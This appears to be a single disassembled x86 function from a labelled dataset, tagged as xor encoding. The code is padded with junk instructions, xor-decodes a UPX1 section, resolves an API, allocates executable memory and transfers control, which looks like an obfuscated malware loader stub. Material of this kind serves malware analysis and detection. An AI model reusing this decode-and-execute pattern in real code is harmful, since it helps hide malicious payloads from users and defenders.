Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4849b17d
add eax, 0x50bcd692
dec eax
popal
sub ebx, eax
add ebx, 0xb11792ec
mov ecx, 0
mov ebx, edi
mov eax, 0xfd9aece4
not eax
add esi, esi
mov edx, ebx
not eax
not esi
mov edi, edx
sub eax, 0x91e7c03f
dec esi
mov esi, eax
inc ecx
sub eax, 0xf5ca9c02
mov esi, 0xed9ca10f
inc esi
cmp ecx, 0x100eba0
jne 0xa789c7
or eax, esi
mov eax, esi
or ebx, ebx
mov eax, ebx
sub eax, 0x9c684ddb
mov eax, 0xa78796
inc edx
and edx, esi
mov ecx, 0xa7898a
sub edx, esi
sub ebx, 0xc39360e7
mov edi, dword [eax]
sub ebx, 0xf11dd43d
add ebx, 0x1e97e9ff
dec ebx
and edi, 0xff
inc esi
mov ebx, 0x308bb393
or edx, edx
xor dword [ecx], edi
sub edx, 0xd5d778b7
and edx, edx
inc ecx
mov esi, 0xbd32ccb9
dec esi
not esi
add eax, 1
sub ebx, 0xf5460b6c
add edx, esi
cmp ecx, entry0
jl 0xa78a1f
or ebx, ebx
mov esi, ebx
mov edx, esi
sub ebx, esi
or esi, esi
not esi
not esi
mov ebx, 0xa7898e
sub edx, edi
dec esi
mov ebx, dword [ebx]
and ecx, edx
sub edx, 0x46f8fae3
add edx, 0xc7b48325
mov ebx, dword [ebx]
mov edi, 0xe286af9c
add esi, 0x49c64c04
push ebx
sub edi, ecx
sub edi, 0x3390213d
sub edi, 0x6881d711
mov ebx, 0xa7898a
add edx, 1
add esi, 0xb02ee6c9
or edx, ecx
mov ebx, dword [ebx]
and edi, edx
mov edi, edx
dec edx
mov ebx, dword [ebx]
inc esi
inc edi
push 0xa78992
mov edi, ecx
dec esi
call ebx
and esi, ecx
inc ecx
mov edi, esi
pop ebx
dec edi
and esi, ecx
push 0xa7899f
add edi, 0x182a8f7
add esi, esi
add ecx, ecx
push eax
and esi, ecx
not esi
not esi
call ebx
mov edx, edi
sub esi, 1
push 0x40
dec edx
dec ecx
push 0x3000
mov edi, 0xe59c4011
add ecx, esi
sub edi, ecx
push 0x20000de6
add ecx, 0xeb527a42
mov ecx, esi
push 0
not ecx
sub edx, 0xd0cb003f
sub edx, 0x9bb26180
call eax
mov edx, edi
sub ecx, 0x6247a67f
not edi
add eax, 0x20000d62
sub edi, esi
sub ecx, 0x506d0737
inc edx
mov ebx, 0x5009c3ad
add edx, esi
sub edx, 1
mov edi, edx
mov dword [eax], ebx
mov edx, 0x338d37f
mov esi, ecx
add esi, 0x1b78129d
mov ebx, dword [eax]
add edi, edi
and esi, ecx
or edx, edx
cmp ebx, 0x5009c3ad
je 0xa78b81
mov edx, 0
mov cl, byte [edx]
dec esi
sub ecx, edx
add edx, 0x507562d3
and edx, edx
dec esi
inc ebx
sub ebx, 0x178bb5f6
add ebx, eax
mov ecx, section.UPX1
or eax, ebx
sub eax, ebx
add eax, 0xcdd0b569
mov edi, 0xa78795
mov ebx, 0x66aa6ca2
mov eax, 0xc726c51
mov esi, 0
mov eax, 0x9912303a
add eax, ebx
mov eax, ebx
mov edx, 0xa78796
add eax, 0xb858980d
and eax, ebx
mov ebx, eax
lea edx, [esi + edx]
not eax
sub ebx, eax
mov edx, dword [edx]
add eax, ebx
sub eax, 0x39328de
and edx, 0xff
mov eax, 0x9a92dc7
sub eax, 1
inc esi
sub eax, 1
sub eax, ebx
inc ebx
cmp esi, 0x1f4
jne 0xa78c0a
mov esi, 0
mov ebx, 0x9df6b56
sub eax, 0x3fc606fe
mov eax, 0xdf601377
inc ebx
inc ebx
mov eax, ebx
xor dword [ecx], edx
or ebx, ebx
dec ebx
and eax, ebx
add ecx, 2
mov ebx, 0x32f1cbed
mov ebx, 0x2f8a2c30
cmp ecx, edi
jl 0xa78bc2
add eax, ebx
sub ebx, 0x5f33849
dec ebx
sub ebx, eax
add eax, 0x54e487ab
mov ebx, eax
mov edi, section.UPX1
mov esi, ecx
inc esi
inc ecx
mov edx, section.UPX1
add esi, esi
or ecx, ecx
or esi, esi
mov eax, 0xa78795
add esi, 0x10f47c53
and ecx, ecx
mov esi, 0xf271ba71
mov ebx, 0
mov ecx, esi
add ecx, esi
mov bl, byte [edx]
mov esi, ecx
add ecx, 0x73686557
add ecx, 0x7c4030eb
mov byte [edi], bl
not esi
dec ecx
inc edi
and ecx, ecx
mov ecx, 0x4c481ec0
add edx, 2
and esi, ecx
or esi, esi
mov esi, 0x852e3285
cmp edx, eax
jle 0xa78c7f
and ecx, ecx
and esi, esi
sub esi, 0x6fb302d2
and eax, eax
add eax, ebx
not eax
push 0x8dc6a0
add ebx, 0xb60a1fb3
sub eax, ebx
and ebx, ebx
ret